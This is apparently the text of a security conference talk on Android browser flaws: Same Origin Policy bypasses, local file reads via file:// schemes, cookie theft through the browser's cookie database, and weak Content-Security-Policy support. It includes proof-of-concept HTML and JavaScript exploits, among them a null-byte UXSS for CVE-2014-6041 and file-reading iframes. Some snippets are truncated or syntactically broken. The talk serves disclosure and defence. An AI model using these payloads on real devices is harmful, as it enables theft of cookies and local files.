Introduction

✓ Serving in Pakistan Telecommunication Limited as Manager Information Security
✓ Author of “Ethical Hacking And Pentesting Guide”
✓ Bug Bounty Hunter (Hall of fame such as Google, Facebook, Paypal, Apple etc. for reporting Vulnerabilities)
✓ Specialized in XSS, WAF Bypass and HTML5 Attacks.
✓ Previous Research has been featured in BBC, Wall street journal, Forbes etc.
Agenda

- Same Origin Policy
- SOP Bypasses For Android Browsers
- SOP Bypass To RCE
- Cross Scheme Data Exposure Attacks
- Browser Cookie Theft Attacks
- CSP Bypasses
- Android Patch Management issues
  - Spoofing Attacks
  - Charset Inheritance Attacks
  - Mixed Content Vulnerabilities
Why android?

- 82% of Market Share
- Big parts of users are still running unpatched android systems.
- Vulnerability found is not likely to get patched across all devices.
- Some Smartphones are not even non-compatible with new versions.

<table>
<thead>
<tr>
<th>Period</th>
<th>Android</th>
<th>iOS</th>
<th>Windows Phone</th>
<th>BlackBerry OS</th>
<th>Others</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015Q2</td>
<td>82.8%</td>
<td>13.9%</td>
<td>2.6%</td>
<td>0.3%</td>
<td>0.4%</td>
</tr>
<tr>
<td>2014Q2</td>
<td>84.8%</td>
<td>11.6%</td>
<td>2.5%</td>
<td>0.5%</td>
<td>0.7%</td>
</tr>
<tr>
<td>2013Q2</td>
<td>79.8%</td>
<td>12.9%</td>
<td>3.4%</td>
<td>2.8%</td>
<td>1.2%</td>
</tr>
<tr>
<td>2012Q2</td>
<td>69.3%</td>
<td>16.6%</td>
<td>3.1%</td>
<td>4.9%</td>
<td>6.1%</td>
</tr>
</tbody>
</table>

Source: IDC, Aug 2015

http://rafayhackingarticles.net
Not Sponsoring Of My Talk
Testing methodology & References

References
✓ Cross Browser Test Cases - https://ios.browsr-tests.com/alt/
✓ Chromium bugs - https://code.google.com/p/chromium/issues/list
✓ Test cases from - http://wooyun.org/
✓ Browser Security handbook test cases - http://browsersec.googlecode.com/files/browser_tests-1.03.tar.gz
✓ Test suite was developed which would up on - http://rafayhackingarticles.net
Agenda

- Why Android?
- Same Origin Policy
- SOP bypasses For Android Browsers
- Turning a SOP Bypass into an RCE (Google Play)
- Cross Scheme Data Exposure Attacks
- Browser Cookie Theft Attacks
Introduction: Same Origin Policy
The Same-Origin policy restricts communication of active content to objects that share the same origin. The origin is, hereby, defined by the protocol, the port and the host used to retrieve the object.
Origin

http://www.example.com:8080

- scheme
- hostname
- port

origin
Severity of A SOP Bypass

Issue:
Mozilla is aware of a security vulnerability in the current release version of Firefox (version 16). We are actively working on a fix and plan to ship updates tomorrow. Firefox version 15 is unaffected.

Impact:
The vulnerability could allow a malicious site to potentially determine which websites users have visited and have access to the URL or URL parameters. At this time we have no indication that this vulnerability is currently being exploited in the wild.

Status:
Firefox 16 has been temporarily removed from the current installer page and users will automatically be upgraded to the new version as soon as it becomes available. As a precaution, users can downgrade to version 15.0.1 by following these instructions [http://www.mozilla.org/firefox/new/]. Alternatively, users can wait until our patches are issued and automatically applied to address the vulnerability.
SOP Bypass By Design

✓ Shared Hosting in java == SOP Bypass

"Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can't be resolved, the host names must be equal without regard to case; or both host names equal to null."


code:

```bash
$ host example.com
example.com has address 93.184.216.119
$ host example.net
example.net has address 93.184.216.119
```
SOP Bypass By Implementation

```html
<script>
    var document;
    document = {};
    document.domain = 'target.com';
    alert(document.domain);
</script>
```
SOP Bypasses For Android Browsers

- Multiple SOP bypasses in Web View Component of Android Browsers.

- Web view is a mini browser based upon Webkit rendering engine for display the webpages.

- Web View prior to android 4.4 (Kitkat) were affected with the SOP Bypasses.

- Multiple Metasploit modules were created for demonstration.
SOP Bypass 1 - CVE 2014-6041 (POC)

```html
<html>
<title>CVE 2014-6041 UXSS</title>

<iframe name="test" src="http://www.rhainfosec.com"></iframe>

<input type="button" value="test"
onclick="window.open('\u0000javascript:alert(document.domain)','test')"/>

</html>
```
<script>
window.onload = function() {
    object = document.createElement("object");
    object.setAttribute("data", "http://www.bing.com");
    document.body.appendChild(object);
    object.onload = function() {
        object.setAttribute("data", "javascript:alert(document.domain)");
        object.innerHTML = "foobar";
    }
}
</script>
Special Guest – Chromodo Browser

http://rafayhackingarticles.net
Agenda

- Why Android?
- Same Origin Policy
- SOP bypasses For Android Browsers
- SOP Bypass To RCE
- Cross Scheme Data Exposure Attacks
- Browser Cookie Theft Attacks
Google Play’s Remote Installation Feature
SOP Bypass Leading To RCE (Google Play)

- Non Enforcement of X-Frame-Options on Error Pages
- A UXSS can lead to RCE via Google Remote Installation Feature
- Only requirement being the user logged from a vulnerable browser.

```html
<script>
</script>
```
Agenda

✓ Why Android?
✓ Same Origin Policy
✓ SOP bypasses For Android Browsers
✓ Turning a SOP Bypass into an RCE (Google Play)
✓ Cross Scheme Data Exposure Attacks
✓ Browser Cookie Theft Attacks
Introduction: Cross Scheme Data Exposure

Example

<iframe src="file:///etc/passwd">
The Bug
It was to open links to local files using file:// protocol by from a webpage by selecting "Open Link in New Window" from the context menu"

POC -
<a href="file:///etc/passwd">CLICK</a>
Cross Scheme Data Exposure- Attack Plan

✓ User visits attacker.com.

✓ attacker.com forces a download (exploit.html) on the victim's browser using content disposition header.

✓ Note: In case, if SDCARD is available, the file is saved under ‘/sdcard/Download/exploit.html’
Cross Scheme Data Exposure - Attack Plan

Download PoC file://

file:///sdcard/Download/exploit.html
Open
Open in new window
Save link
Select text
Android Gingerbread CSDE (POC)

```html
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'></iframe>
<script>
function exploit() {
var iframe = document.getElementsByTagName('iframe')[0];
try{
alert("Try to read local file.");
alert("innerHTML":"+iframe.contentWindow.document.body.innerHTML);
} catch(e) {
alert(e);
}
</script>
```
Android Jellybean CSDE (POC)

```html
<iframe src="file:/default.prop" name="test"
style='width:100%;height:200'></iframe>

<button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">Try \u0000</button>
```
Agenda

- Why Android?
- Same Origin Policy
- SOP bypasses For Android Browsers
- Turning a SOP Bypass into an RCE (Google Play)
- Cross Scheme Data Exposure Attacks
- Browser Cookie Theft Attacks
Browsers Cookie Theft

✓ Save cookie containing javascript code and trick the victim into opening the sqlite database file

1: `<script>
2: document.cookie = "x=<script>(javascript code)\"+"ipt">; path=/blah; expires=Wed, 01-Jan-2030 00:00:00 GMT";
3: `</script>`

✓ Android cookies are saved under –

file:///data/data/com.android.browser/databases/webviewCookiesChromium.db
Browsers Cookie Theft - POC

Redirecting... To continue, tap and hold here, then choose "Open in a new tab"

```
<a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>
</a>
<script>
document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)';
</script>
```
CSP And Mobile Browsers

- To Prevent the likelihood of XSS by using Whitelist.

**Example**

Content-Security-Policy: `script-src http://code.jquery.com/jquery-1.11.0.min.js;`

**Implementation**

- Content-Security-Policy (Current Standard)
- X-Content-Security-Policy (Deprecated)
- X-Webkit-CSP (Deprecated)
Most of the mobile browsers do not support Content-Security-Policy headers
CSP Enforcement Across Chrome & Firefox

JavaScript CSP Browser Test

Note this test requires that you have JavaScript Enabled

✅ CSP Supported
If you can read this, then the inline JavaScript below this line did not execute.

// IF CSP is supported this will not run
window.onload=function(){
    var isNode = document.getElementById("test");
    isNode.innerHTML = "CSP header enforcement on Chrome for Android";
}

✅ CSP Supported
If you can read this, then the inline JavaScript below this line did not execute.

// IF CSP is supported this will not run
window.onload=function(){
    var isNode = document.getElementById("test");
    isNode.innerHTML = "CSP header enforcement on Firefox for Android";
}
JavaScript CSP Browser Test [CSP Level 1]

CSP Not Supported
Your browser does not support CSP, the inline script executed and replaced this div content

```html
<script>
    //if CSP is supported this will not run
    window.onload=function(){
        var jsNode = document.getElementById("jsNode");
        jsNode.innerHTML = "<h3> CSP Not Supported</h3> Your browser does not support CSP, the inline script executed and replaced this div content";
        jsNode.className = "alert alert-danger"
    }
</script>
```

CSP Not Supported
Your browser does not support CSP, the inline script executed and replaced this div content

```html
<script>
    //if CSP is supported this will not run
    window.onload=function(){
        var jsNode = document.getElementById("jsNode");
        jsNode.innerHTML = "<h3> CSP Not Supported</h3> Your browser does not support CSP, the inline script executed and replaced this div content"
    }
</script>
```

CSP Not Supported
Your browser does not support CSP, the inline script executed and replaced this div content

```html
<script>
    window.onload=function(){
        var jsNode = document.getElementById("jsNode");
        jsNode.innerHTML = "<h3> CSP Not Supported</h3> Your browser does not support CSP, the inline script executed and replaced this div content"
    }
</script>
```
Android Patch Management And issues

- Vulnerabilities identified are often not fixed in a **timely manner**.
- **Vendor** doesn't **acknowledge, patch** and doesn't make a **new build available**.
- A lot of android devices are **still shipped** with **older versions**.
- Even if the **vulnerability is patched**, Users don’t get timely updates.
- OEM’s modify the code and **do not ship patches in a timely manner**.
- Phones don’t support **upgrade**.
How Apple Patch management Works?

Apple

- Writes IOS

Customer

- Obtains Updated IOS
How Android Nexus Patch Management Works?

Google

- Writes Android OS

Customer

- Obtains Updated Android

http://rafayhackingarticles.net
How Everything else works?

- **Google**: Writes Android OS
- **Phone Manufacturer**: Customizes Google Android
- **Wireless Provider**: Customizes Phone Manufacturer Android
- **Customer**: Obtains Updated Android
✓ **SOP** is most important **security boundary** for Browsers, it must be treated with seriously.

✓ **Handset manufacturers**, **Wireless carriers**, and **Google** -- must do a better job of **ensuring security for everyone**, not just rich people.

✓ Stick with browsers from app publishers with long track records of fixing bugs
Credits

✓ Tod Beardsley
✓ Joe Vennix
✓ Haru Sugiyama
✓ File Descriptor
✓ Mario Heiderich
✓ Gareth Heyes
✓ Christian Schneider
✓ Giuseppe Trotta
✓ Ahamed Nafeez